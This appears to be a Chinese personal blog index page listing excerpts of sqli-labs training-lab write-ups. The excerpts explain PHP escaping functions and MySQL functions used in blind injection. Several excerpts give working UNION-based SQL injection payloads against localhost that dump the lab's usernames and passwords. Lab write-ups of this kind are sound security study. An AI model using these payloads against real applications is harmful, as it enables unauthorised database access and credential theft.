Lilin


  • 首页

  • 标签

  • 分类

  • 归档

sqli-labs less17-20

发表于 2018-06-01 | 分类于 Web安全 , SQL注入

LESS 17 基于错误的UPDATE查询

源码中的几个php函数:

  • get_magic_quotes_gpc()

magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“ ”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误

get_magic_quotes_gpc()就是取得php环境变量magic_quotes_gpc的值

  • addslashes() & stripslashes()

addslashes() 函数在指定的预定义字符前添加反斜杠:
单引号 (‘),双引号 (“),反斜杠 (),NULL

stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。

  • ctype_digit()

检测字符串中的字符是否都是数字,负数和小数会检测不通过,这是验证是否正整数的函数简单方法

  • mysql_real_escape_string()

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

  • \x00
  • \n
  • \r
  • \
  • ‘
  • “
  • \x1a
阅读全文 »

sqli-labs less11-16

发表于 2018-05-29 | 分类于 Web安全 , SQL注入

LESS 11 基于字符串的注入(POST)

在username栏输入单引号’测试,结果:

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’’’ and password=’’ LIMIT 0,1’ at line 1

猜测查询语句为:select * from users where username = ‘$username’ and password=’$password’ LIMIT 0,1
于是乎构造payload:

Username : 0’ union select group_concat(username),group_concat(password) from users#
Password :

结果:

Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

LESS 12 基于双引号字符串的注入(POST)

和上一关的不同在于字符串被双引号和括号包围,通过报错讯息可以知道
payload如下:

Username : 0”) union select group_concat(username),group_concat(password) from users#
Password :

阅读全文 »

sqli-labs less8-10

发表于 2018-05-28 | 分类于 Web安全 , SQL注入

LESS 8 基于布尔的盲注

盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。盲注分为好几种,本关采用基于布尔的盲注

盲注相关函数:

  • mid(column_name,start[,length])

    1
    2
    3
    4
    5
    6
     select mid(12345,2,3);
    +----------------+
    | mid(12345,2,3) |
    +----------------+
    | 234 |
    +----------------+
  • substr(string, start, length)/substring(string, start, length)

    • 这两个函数的作用和mid函数是相同的
      1
      2
      3
      4
      5
      6
      select substr((select username from users limit 0,1),2);
      +--------------------------------------------------+
      | substr((select username from users limit 0,1),2) |
      +--------------------------------------------------+
      | umb |
      +--------------------------------------------------+
  • Left(string, n)
    • 从左到右截取string的前n位
  • ascii(string)
    • 返回第一个字符的ascii码值
  • ord(string)
    • 若string第一个字符是单字节字符,则作用和ascii函数相同
    • 若其为多字节,则返回如下格式:
      ((first byte ASCII code)*256+(second byte ASCII code))[*256+third byte ASCII code…]
  • length(string)
    • 返回字符串的长度
阅读全文 »

sqli-labs less2-7

发表于 2018-05-28 | 分类于 Web安全 , SQL注入

LESS 2 基于整形数的注入

用id=’测试,发现报错,根据报错信息发现第二关的参数是整形,直接构造payload:

http://localhost/sqli-labs-master/Less-2/?id=0 union select 1,group_concat(username),group_concat(password) from users%23

LESS 3 带括号的字符串注入

先输入id=’测试,发现报错,错误信息:

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’’’) LIMIT 0,1’ at line 1

和第一关相比多了括号,直接构造payload:

http://localhost/sqli-labs-master/Less-3/?id=0') union select 1,group_concat(username),group_concat(password) from users%23

LESS 4 双引号字符串注入

使用id=’没有报错,说明’被当成了字符串的一部分,继续尝试用id=”,报错,错误信息:

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘“””) LIMIT 0,1’ at line 1

可以看出字符串是被双引号和括号包围的,于是构造payload:

http://localhost/sqli-labs-master/Less-4/?id=0") union select 1,group_concat(username),group_concat(password) from users%23

阅读全文 »

sqli-labs less1

发表于 2018-05-27 | 分类于 Web安全 , SQL注入

先来了解一下MYSQL注入的基本姿势

url编码:

  • url中只能含有英文字母、阿拉伯数字和某些标点符号,不能使用其他文字和符号,所以要对其编码
  • sql注入中常用的url编码有:空格%20,单引号%27,双引号%22,井号%23

mysql中常用的系统表与函数:

  • 系统数据库information_schema存储数据库元数据,其中的tables存储了表的元数据,常用字段:table_schema(数据库名),table_name(表名);columns存储了列的元数据。常用字段:column_name(列名),table_name(表名)
  • 字符连接函数concat

    1
    2
    3
    4
    5
    6
    select concat(1,2,3,4,5);
    +-------------------+
    | concat(1,2,3,4,5) |
    +-------------------+
    | 12345 |
    +-------------------+
  • concat_ws(第一个参数为分隔符)

    1
    2
    3
    4
    5
    6
    select concat_ws(':',1,2,3,4,5);
    +--------------------------+
    | concat_ws(':',1,2,3,4,5) |
    +--------------------------+
    | 1:2:3:4:5 |
    +--------------------------+
阅读全文 »
123
Lilin

Lilin

12 日志
7 分类
5 标签
GitHub E-Mail
© 2018 Lilin
由 Hexo 强力驱动
|
主题 — NexT.Mist v5.1.4